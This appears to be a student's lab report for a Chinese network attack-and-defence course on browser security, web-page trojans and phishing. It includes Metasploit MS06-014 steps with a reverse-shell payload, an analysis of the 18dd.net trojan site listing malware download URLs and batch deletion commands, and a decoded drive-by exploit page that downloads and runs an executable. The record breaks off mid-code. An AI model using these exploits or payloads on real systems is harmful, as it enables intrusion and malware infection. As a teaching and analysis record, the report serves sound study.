20199116 2019-2020-2 《网络攻防实践》第12周作业
20199116 2019-2020-2 《网络攻防实践》第是12周作业
前言
问题 | 解答 |
---|---|
这个作业属于哪个课程 | 《网络攻防实践》 |
这个作业的要求在哪里 | <作业要求> |
我在这个课程的目标是 | 熟练掌握网络攻防知识,学习第十二章 Web浏览器安全攻防 |
这个作业在哪个具体方面帮助我实现目标 | 学习Linux操作命令以及虚拟机的应用;学习网络攻防知识 |
作业正文 | 如下 |
其他参考文献 | 见正文最后 |
1.实践内容
1.1 Web浏览器的技术发展与安全威胁
1.1.1Web浏览器战争与技术发展
- 现代Web浏览器的基本结构与机理
-
现代Web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的Web浏览器软件。
-
目前的现代Web浏览器要求能够理解和支持HTML和XHTML、CascadingStyleSheets (CSS)、ECMAScript及W3C Document Object Model (DOM)等一系列标准
-
需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript. FlashActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。
-
现代Web浏览器的基本结构图:
-
-
现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。
-
微软IE浏览器基于Trident内核引擎(也被称为MSHTML),1996年即采用了ActiveX技术来支持第三方开发扩展插件,并沿用至今
-
MozillaFirefox的内核引擎为Gecko,通过XUL平台支持扩展插件开发
-
Google Chrome和苹果的Safari都基于开源的Webkit内核引擎,Opera 基于的内核引擎为Presto,这三款浏览器软件均于2010年才开始支持第三方扩展插件, Google Chrome可通过XMLHttpRequest和JSON机制来实现第三方扩展,而Safari与Opera则采用了标准化的HTML5、CSS3与JavaScript支持第三方实现扩展插件。
-
现代Web浏览器还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的富Internet应用( RIA: Rich Internet Application),目前Adobe Flash/Flex、Java 和微软Silverlight是三种最普遍的RIA平台环境技术,帮助Web应用程序提供更友好的用户交互、客户端执行与展现效果。
1.1.2
-
web浏览器软件的安全困境三要素
-
复杂性
现代Web浏览器软件由于需要支持HTTP、HTTPS、 FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、 SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器的复杂性已经通过源代码行数得到了验证。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。 -
可扩展性
现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。而相对于大型软件厂商所开发的浏览器软件本身而言,第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。
-
此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。恶意客户端脚本代码也是现代浏览器由于可扩展性所面临的主要安全威胁,攻击者可以在网站中链接恶意的JavaScript脚本代码,或者恶意Flash文件,当浏览器软件装载这些恶意客户端脚本代码,将会在浏览器端进行执行,从而被渗透攻击与利用。
-
连通性
现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。 -
Web浏览安全威胁位置
-
针对传输网络的网络协议安全威胁
网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁,如网络监听与协议栈攻防技术。 -
针对Web浏览端系统平台的安全威胁
互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。目前微软的Windows操作系统产品占据了桌面操作系统的绝大部分市场份额,针对Windows桌面系统的渗透攻击与恶意代码是目前网络安全威胁的主要形态,如Windows操作系统安全攻防技术和恶意代码攻防技术。 -
针对Web浏览器软件及插件程序的渗透攻击威胁
随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,但针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行,恶意攻击者在地下经济链的驱动下,通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序,窃取隐私信息并以此牟取非法利益。 -
针对互联网用户的社会工程学攻击威胁
最后,恶意攻击者会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击,来尝试骗取互联网用户的敏感个人隐私信息,典型的该类安全威胁是目前常见的网络钓鱼攻击。
-
1.2Web浏览端的渗透攻击威胁
- 网页木马发展与流行的驱动力——黑客地下经济链
-
病毒编写者:能够获得公开揭露的漏洞和相应的攻击代码信息,并有能力根据漏洞报告和渗透攻击代码开发自己的破解工具和木马程序,并将其出售进行获利。
-
黑站长/网络骇客:网站黑站长利用免费资源吸引访问者,黑站长出卖自己的顾客,通过植入恶意脚本将网站流量出售给“信封”盗窃者,这意味着在不知情的情况下,访问者将被这些恶意网站重定向至木马宿主,从而受到攻击。网站骇客则攻击较为知名,但存在漏洞的网站获得网站控制权,从而能够出售其访问流量。
-
“信封”盗窃者:信封指的是盗窃的账号和密码信息,信封盗窃者只需要掌握很少的攻击技能,他们通常从病毒编码者那里购买木马或者是木马产生器,从黑站长或者是网站骇客那里购买网站流量,而他们只需要利用这些资源就可以构造网页木马网络,从而盗取各种类型的信封。
-
虚拟资产盗窃者:虚拟资产盗窃者对地下经济链有深入的了解他们从信封盗窃者处购买信封,登录网站或者是QQ账号来盗取有价值的虚拟资产,此外,他们也会盗取其他有价值的虚拟商品,如QQ号等,在获得虚拟资产后,他们通常再出售给他人。
-
虚拟资产卖家:他们创建在线的虚拟商店构成了产业链的流通环节,这些商店在国内主要的在线交易平台上都很常见,虚拟资产卖家从地下黑市低价购买盗取的虚拟资产,然后在公共市场上向玩家出售,他们从差价中获益。
-
玩家:是网络游戏、即时通信软件增值服务的用户,用大量金钱购买虚拟资产
-
网页木马存在的技术基础——web浏览端安全漏洞
另一个使得网页木马安全音协持续存在的根源是外部浏览端软件中存在的安全漏洞。这些安全漏洞为网页木马介入并感染受害主机提供了必要的技术基础条件。
1.2.2 网页木马的机理分析
-
网页木马的定义特性
- 网页木马从本质特性上是利用现代web浏览器软件中所支持的客户端脚本执行能力,针对web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。
- 从根本上分析,网页木马是针对web浏览端软件实施的客户端渗透攻击代码。
- 定义网页木马是对web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如javascript VBScript实现,或以flash、PDF等恶意伪造的web文件形式存在。
-
对网页木马机理的全方位分析与理解
-
网页木马攻击是被动的,需要通过技术方法诱使互联网用户来访问网页木马页面。此外网页木马通过木马通过渗透攻击获得客户端计算机的远程代码执行权限后,需要植入一些盗号木马等类型的恶意程序,进行进一步的主机控制和敏感信息的窃取。
-
网页木马的攻击技术流程
-
网页木马攻击网络的特性
(1)多样化的客户端渗透攻击位置和技术类型
(2)分布式、复杂的微观链接结构
(3)灵活多变的混淆与对抗分析能力 -
网页木马的本质核心——浏览器渗透攻击
-
网页挂马机制
- 网页挂马 定义:写完网页木马渗透攻击代码后,为了使终端用户使用他们可能存在漏洞的浏览端软件访问网页木马,攻击者还需将网页木马挂接到一些拥有客户访问流量的网站网页上,这一过程称为网页挂马。
主要有如下4种策略
-
内嵌HTML标签
内嵌HTML标签,如iframe、frame。利用层次嵌套的内嵌标签引入一些中间的跳转站点并进行混淆,从而构建复杂且难以追溯的网页木马攻击网络。 -
恶意Script脚本
利用script脚本标签通过外部引用脚本的方式来包含网页木马。跳转脚本通常使用document.write动态生成包含网页木马链接的iframe内嵌标签。 -
内嵌对象链接
利用图片、Flash等内嵌对象的特定方法来完成指定页面的加载。 -
ARP欺骗挂马
通过ARP欺骗方法就可以进行中间人攻击,劫持所以目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。 -
混淆机制
-
除了引入中间跳转节点进行嵌套链接,并集成多种渗透攻击代码外,网页木马攻击往往采用大量的混淆技术,对抗反病毒软件的检测。
-
混淆方法
(1)将代码重新排版,去除缩进、空行、换行、注释等
(2)通过大小写变换、16位进制编码、escape编码等方法对网页木马进行编码混淆。
(3)通过通用户定制的加密工具,对网页木马进行加密,得到密文,然后使用脚本语言包含的解密函数对密文进行解密等。
(4)利用字符串计算、数学计算或特殊函数进行混淆代码。
(5)修改网页木马文件掩码欺骗反病毒软件或对网页木马文件结构进行混淆来伪装成正常的文件,甚至将网页木马代码拆分至多个文件等。
-
1.2.3网页木马检测与分析技术
-
基于特征码匹配的传统检测方法
提取恶意脚本具有样本特异性的特征码,更新至反病毒客户端软件中,使用基于特征码匹配的传统检测方法从互联网用户上网浏览过程中检验网页木马。 -
基于统计与机器学习的静态分析方法
对采用代码混淆机制的网页木马,采用多种统计与机器学习方法对混淆及行为特征进行检测。 -
基于动态行为结果判定的检测分析方法
这种方法利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型web访问浏览器及应用软件、存在漏洞的高交互式客户端的蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问网页是否被挂接了网页代码。 -
基于模拟浏览器环境的动态分析检测方法
- 由于网页木马的混淆机制的本质是利用浏览器中脚本引擎对脚本代码的解释执行能力。
- 以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等三方控件构建出一个虚拟的低交互式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描异常检测安全漏洞模拟与特征检测等方法对网页木马进行分析与检测。
-
网页木马检测分析技术综合对比
- 分为静态分许与动态分析
- 静态分析通过特征码匹配和机器学习方法,在网页木马的外在形态层次上构建出较为准确的检测方法,这一类方法,对于灵活多变的网页木马型态而言,存在缺陷。
- 动态分析动态行为分析方法,本质上是从网页木马的外部表现行为出发,根据网页木马成功攻击客户端软件后对系统造成的行为后果进行判定,而对网页木马最核心的渗透攻击过程则视作“黑盒”不进行任何分析,因此在交互环境不充分、渗透代码存在“逻辑炸弹”或对抗机制、网页木马攻击场景部分失效等情况下。都无法有效的检测,此外,该类方法仅能判定是否网页木马,而非提供目标组件,利用漏洞,位置与类型等更为全面的攻击语义信息。
1.2.4网页木马防范措施
-
提升操作系统与浏览端平台软件的安全性。
-
安装与实时更新一款优秀的反病毒软件。
-
同时养成安全上网的良好习惯,并借助谷歌安全浏览等站点安全评估工具的帮助,避免访问不安全的网站。
-
安装Mac OS/Linux操作系统,并使用一些冷门的浏览器上网,可以有效的避免网页木马的侵扰。
1.3揭开网络钓鱼的黑幕
- 网站钓鱼是社会工程学在互联网为广泛实施的典型攻击方法,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息,如用户名口令帐号ID等。
1.3.1 网络钓鱼攻击的技术内幕
-
网络钓鱼攻击的普遍技术流程
-
攻击者扫描网段寻找存有漏洞的服务器;
-
服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具;
-
攻击者从加密的后门工具获得对服务器的访问,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建,配置与测试工作,使得钓鱼网站上线运行;
-
攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
-
网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
-
-
网络钓鱼攻击技术策略
具体的欺骗技巧如下:
-
在指向假冒网站的链接中,使用IP地址代替域名。
-
注册发音相似或行径的DNS域名,(例如:工商银行域名icbc.com.cn仅有一个字母之差的Icbc.com.cn),并在上面架设假冒网站。
-
在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器,大多数的HTTP连接是指向真实的目标网站,而仅有少数的关键连接指向的是假冒网站。
-
对假冒网站的URL进行编码和混淆,很多用户不会注意到或者理解URL链接被做过什么处理,并会假设它是良性的。
-
企图攻击用户网页,浏览其存在的漏洞,使之隐藏消息内容的实质。
-
将钓鱼网站配置成记录用户提交的所有数据被进行不可察觉的日志,然后将用户从定向到真实的网站。
-
架设一个假冒网站作为目标机构真实网站的代理,并偷摸的记录未使用的SSL加密保护的口令信息,甚至为假冒域名注册一个有效的SSL证书,从而对SSL加密保护的口令信息进行记录。
-
通过恶意代码,在受害者计算机上安装一个恶意的浏览器助手工具,然后由其将受害者从定向到假冒的钓鱼网站,如果成功,受害者将被欺骗,相信他们正在访问合法的网站,内容实际上是一个钓鱼网站。
-
使用恶意代码去修改受害者计算机上用来维护DNS域名和IP地址映射的本地hosts文件,这将使他们的网页浏览器在连接架设假冒网站钓鱼网站的服务器时,却让用户在地址栏看到是访问目标机构的合法网站。
1.3.2网络钓鱼攻击的防范
(1)对以中奖、优惠、紧急状态等名义索取个人信息的电子邮件和即时通信信息欺诈,提高警惕性。
(2)充分利用浏览器软件、网络完全厂商软件所提供的反钓鱼网站功能特性,如浏览器中对于HTTPS安全登录链接的提示、钓鱼网站的警告提示等
(3)尽量使用硬件U盾来代替软件证书或口令访问重要金融网站。
(4)通过学习和修炼提升自己抵抗社会工程学攻击的能力。
2.实践过程
2.1实践一 web浏览端的渗透攻击
题目:
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
所需环境:
攻击机: BT4 Linux攻击机或Windows XP_ _Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件;
靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机。
实验步骤:
(1)选择使用Metasploit中的MS06-014渗透攻击模块(ie_ createobject);
(2)选择PAYLOAD为任意远程Shell连接;
(3)设置服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;
(4)在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL;
(5)在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。
-
实验环境:
- 攻击机:kali, ip地址:192.168.200.2
- 靶机1:win2k,ip地址:192.168.200.124
- 靶机2:winxp attack,IP地址:192/168.200.3
- 我使用的漏洞有:MS06—014(成功) 和 MS14_064(未成功,具体见下文)
-
保证攻击机靶机之间能ping通。
-
在kali终端输入
msfconsole
-
搜索MS06-014漏洞search MS06-014
- 选择module
use 0
-
显示有效载荷show payloads
-
设置payloadset
payload windows/meterpreter/reverse_tcp
- show options查看需要设置的参数
可以看到攻击目标是Automatic,自动随机
- 设置攻击机地址
set LHOST 192.168.200.2
-攻击exploit
或者run
- 由上图,生成的URL地址为:
http://192.168.200.2:8080/31ffR9TgXXM4
,在win2kserve上访问这个地址。【即使win2k没有网,一开始连接不上以为是因为没有网,捣鼓了老半天,后来试了好几次,莫名地连上了。。。。】
- kali上发现已经建立了会话
- 回车,查看连接情况
sessions
,并且session -i 1
选择会话1
help
查看了一些命令- 用
ifconfig
查看靶机ip,getuid
查看当前权限
- 与靶机对比,相同,说明攻击成功。
-
另外我还试了漏洞MS14_064,详细步骤与上述相似,有一点不同,具体参照这个网址通过MS14_064 XSS实现网页挂马
- 说明该漏洞的攻击目标是win xp
- 我用靶机WinXP访问了生成的ULR地址,kali显示如下,但是
show session时,只显示了我win2kserver的session
。问题未解决。
2.2 实践二 剖析一个实际的网页木马攻击场景(P507)
题目:
一个研究组发现了一个域名为18dd.net的挂马网站。在链接分析的过程中, 发现有大量恶意网页最终都重定向到了这个网站上。
这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问start.html, 在这个文件中给出了new09.htm的地址,在进入new09.htm后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到http://netsec.ccert.edu.cn/hacking/目录(或者附带资料中的解压缩数据目录)下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名), 即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密:如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的URL形式,形如http:/xx. 18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
(1)试述你是如何一步步地从所给的网页中获取最后的真实代码的?
(2)网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
(3)从解密后的结果来看,攻击者利用了那些系统漏洞?
(4)解密后发现了多少个可执行文件?其作用是什么?
(5)这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?(举例分析)
- 由于没有实验环境,所以先照着参考答案把整个分析流程梳理一遍。
-
start.html
文件在引用new09.htm
文件时没有写绝对路径,所以new09.htm
文件与start.html
文件在同一目录下,由此就得到new09.htm
文件。 -
new09.htm
文件中,用iframe
引用了一个 http://aa.18dd.net/aa/kl.htm 文件, 又用javascript
引用了一个 http://js.users.51.la/1299644.js 文件。 计算散列之后可以得到这两个文件内容(kl.htm和1299644.js)。前者为我们要分析的,后者仅为一个流量统计代码。 -
分析
kl.htm
文件,发现其通过XXTEA+Base64
加密,加密密钥使用16进制加密,转换一下密钥是script
,文件解密后发现文件还有16进制加密,继续解密,得到代码。 -
利用到的应用程序漏洞有
Adodb.Stream
、MPS.StormPlayer
、POWERPLAYER.PowerPlayerCtrl.1
和BaiduBar.Tool
, 分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。 -
另外,这个文件还引用三个 js 文件(
1.js
(MS06-014网马)、b.js暴风影音网马
、pps.js
(PPStream网马))和一个压缩包(bd.cab
,解开后是bd.exe
)。 -
1.js
下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面部分是对ADODB
漏洞的继续利用。b.js
也下载了一个可执行文件bf.exe
,pps.js
下载可执行文件pps.exe
。 -
至此,得到四个exe文件。发现这四个文件在资源管理器中显示出同样的大小。进一步对文件内容进行 MD5 散列计算得出结论,这四个文件内容完全相同。
-
由上述,只需分析一个exe文件即可。此处选择
pps.exe
。 -
使用工具PEID打开pps.exe查看是否加壳,发现没有加壳。
- 用工具W32DAsm反汇编这个 exe 文件,参考—>串式参考,可以发现如下内容。
" goto try"
"#32770"
"(T@"
",T@"
".1"
":\AutoRun.inf"
":try"
"[AutoRun]
open="
"\program files\internet explorer\IEXPLORE.EXE"
"0813"
"3烂怱VQ嬝媠咑u3离&j"
"60000"
"advapi32.dll"
"Alletdel.bat"
"AutoRun.inf"
"Button"
"ChangeServiceConfig2A"
"ChangeServiceConfig2W"
"cmd /c date "
"cmd /c date 1981-01-12"
"del ""
"del %0"
"drivers/klif.sys"
"Error"
"FPUMaskValue"
"http://down.18dd.net/kl/0.exe"
"http://down.18dd.net/kl/1.exe"
"http://down.18dd.net/kl/10.exe"
"http://down.18dd.net/kl/11.exe"
"http://down.18dd.net/kl/12.exe"
"http://down.18dd.net/kl/13.exe"
"http://down.18dd.net/kl/14.exe"
"http://down.18dd.net/kl/15.exe"
"http://down.18dd.net/kl/16.exe"
"http://down.18dd.net/kl/17.exe"
"http://down.18dd.net/kl/18.exe"
"http://down.18dd.net/kl/19.exe"
"http://down.18dd.net/kl/2.exe"
"http://down.18dd.net/kl/3.exe"
"http://down.18dd.net/kl/4.exe"
"http://down.18dd.net/kl/5.exe"
"http://down.18dd.net/kl/6.exe"
"http://down.18dd.net/kl/7.exe"
"http://down.18dd.net/kl/8.exe"
"http://down.18dd.net/kl/9.exe"
"IE 执行保护"
"IEXPLORE.EXE"
"IE执行保护"
"if exist ""
"Kernel32.dll"
"NoDriveTypeAutoRun"
"ntdll.dll"
"QueryServiceConfig2A"
"QueryServiceConfig2W"
"S@"
"serdst.exe"
"shell\Auto\command="
"shellexecute="
"SOFTWARE\Borland\Delphi\RTL"
"Software\Microsoft\Windows\CurrentVersion\Poli"
"Telephotsgoogle"
"U嬱兡餝VW3繳h訹@"
"U嬱筧"
"U嬱伳SVW?"
"ZwUnmapViewOfSection"
"刌@"
"銼@"
"婦$鰼"
"媩$(?"
"燬@"
"擮@"
"确定"
"媆$?搡?婼婥t?燖"
"瑞星卡卡上网安全助手 - IE防漏墙"
"为即插即用设备提供支持"
"圷@"
"允许"
"允许执行"
-
这个程序可能生成一个叫
Alletdel.bat
的批处理文件,这个文件中有一个标签叫try
, 批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件(goto try,:try,Alletdel.bat,cmd /c date,cmd /c date 1981-01-12,del %0等) -
这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序(
:\AutoRun.inf
,[AutoRun] open=
,AutoRun.inf
,shell\Auto\command=
) -
这个程序要对IE、注册表、服务和系统文件动手脚(
advapi32.dll
,drivers/klif.sys
(漏洞,用来侵入系统底层),\program files\internet explorer\IEXPLORE.EXE
,IE 执行保护
,IEXPLORE.EXE
(IE浏览器),Software\Microsoft\Windows\CurrentVersion\Poli
等) -
这个程序有一定的防系统保护软件的能力( "瑞星卡卡上网安全助手 - IE 防漏墙", "允许","允许执行")
-
这个程序要下载一堆木马(一堆形如http://down.18dd.net/kl/**.exe的字符串, 共 20 个)
-
选择上述20个木马其中之一进行分析,此处选择5.exe。在
winxp attack
虚拟机中,照例使用PEID查看加壳情况,发现用“Upack 0.3.9 beta2s -> Dwing”加密过。
- 用工具超级巡警将5.exe进行脱壳,将得到的脱壳后的文件再用PEID进行查看,显示还有壳“Morphine 1.2 - 1.3 -> rootkit”。网上百度了看看,说是一个伪装壳
- 所以用工具 W32DAsm打开,可以看到其中的字符串如下:
""
"" goto Loop
del %0
"
"" -r -a -s -h
del ""
""
if exist ""
"%d"
".bat"
".exe"
":Loop
"
"@echo off
"
"\\"
"\InprocServer32"
"{2598FF45"
"aa"
"Apartment"
"attrib ""
"-BC43-10AC47853D52}"
"C:\DFD"
"chreaur.fon"
"client"
"CLSID\"
"-DA60-F48A"
"EnHookWindow"
"Fonts\"
"id.exe"
"jhbpri.d"
"ll"
"MP3"
"Music"
"rarjani.dll"
"rarjapi.d"
"rarjbpi.dll"
"rarjbtl.exe"
"Send"
"Software\Microsoft\Windows\CurrentVersion\expl"
"ThreadingModel"
"Url%d"
"Url1"
"U嬱S桤?嬝杓枸?+?? "
"VC"
"vercls"
"兡X脥@"
"岲$P钂?h"
"嬂%郟@"
"罜"
-
可以看到这个病毒可能要生成一个批处理文件并进行删除文件操作,因为goto Loop del %0,-r -a -s –h del,if exist, :Loop,@echo off,attrib这些内容都是批处理文件中的字符串。
-
本来想再WinXP安装一个360安全卫士进行木马查杀,结果C盘可用内容太小,没安装成功,就不在本机上试了。
2.3 实践三 攻防对抗实践: Web浏览器渗透攻击攻防对抗
攻击方使用Metasploit构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理后组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态,并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
-
重复实践一的过程,攻击之前打开wireshark监听,执行完攻击后,靶机访问生成的恶意网站
-
在kali的wireshark中观察从靶机发给攻击机的信息
-
追踪tcp流,发现一串很长的代码,对这些代码进行了处理,攻击机生成的网页,为了防止被杀毒软件查杀,对关键指令做了字符拼接处理和使用了大量的空白和间隔。
-
经过去除无效的空行,并将字符拼接后,得到了完整的代码,如下图
GET/rTsNcFYzPRHTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
Accept-Language:zh-cn
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/4.0(compatible;MSIE5.01;WindowsNT5.0)
Host:192.168.200.2:8080
Connection:Keep-Alive
HTTP/1.1200OK
Content-Type:text/html
Connection:Keep-Alive
Server:Apache
Content-Length:40081
<html><head><title></title>
<scriptlanguage="javascript">
function cUuEyTfy(o,n){
var r = null;
try{
eval("r=o+.CreateObject(n)")
}catch(e){}
if(!r){
try{
eval("r=o.CreateObject(n,'')")
}catch(e){}
}
if(!r){
try{
eval("r=o.CreateObject(n,'','')")
}catch(e){}
}
if(!r){
try{
eval("r=o.GetObject('',n)")
}catch(e){}
}
if(!r){
try{
eval("r=o.GetObject(n,'')")
}catch(e){}
}
if(!r){
try{
eval("r=o.GetObject(n)")
}catch(e){}
}
return(r);
}
function JqtnSxgCzrmE(a){
var s=cUuEyTfy(a,"WScript.Shell");
var o=cUuEyTfy(a,"ADODB.Stream");
var e=s.Environment("Process");
var url=document.location+'/payload';
var xml=null;
var bin=e.Item("TEMP")+"\\QavDQCFgnEyPBrYhQiUGB.exe";
var dat;
try{
xml=new
XMLHttpRequest();
}
catch(e){
try{
xml=new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e){
xml=new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml){
return(0);
}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;
o.Type=1;
o.Mode=3;
o.Open();
o.Write(dat);
o.SaveToFile(bin,2);
s.Run(bin,0);
}
function tsoBepmzmTQVTVZgeTmbAKdTnSMahi(){
var i=0;
var t=new Array(
'{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+''+'0'+'0'+'C'+'0'+'4'+'F'+'C'+2'+'9'+'E'+"3'+'0'+'}',
'{'+7'+'F''5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+''+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}',
'{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'
+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}',
'{''6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'
+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}',
'{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'
+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}',
'{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}',
'{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'
+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}',
'{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'
+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}',
'{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'
+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}',
'{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+
'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}',
'{'+'0'+'0'+'0''6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',
'{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'0'+'0'+'0'+'0'+'0'+''+'0'+'0'+'0'+'0'+''+'C'+'0'+'0'+'0'+''+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);
while(t[i])
{
var a = null;
if(t[i].substrin(0,1) == '{')
{
a = document.createElement("object");
a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));
}
else
{
try{
a = new ActiveXObject(t[i]);
}
catch(e){}
}
if(a){
try
{
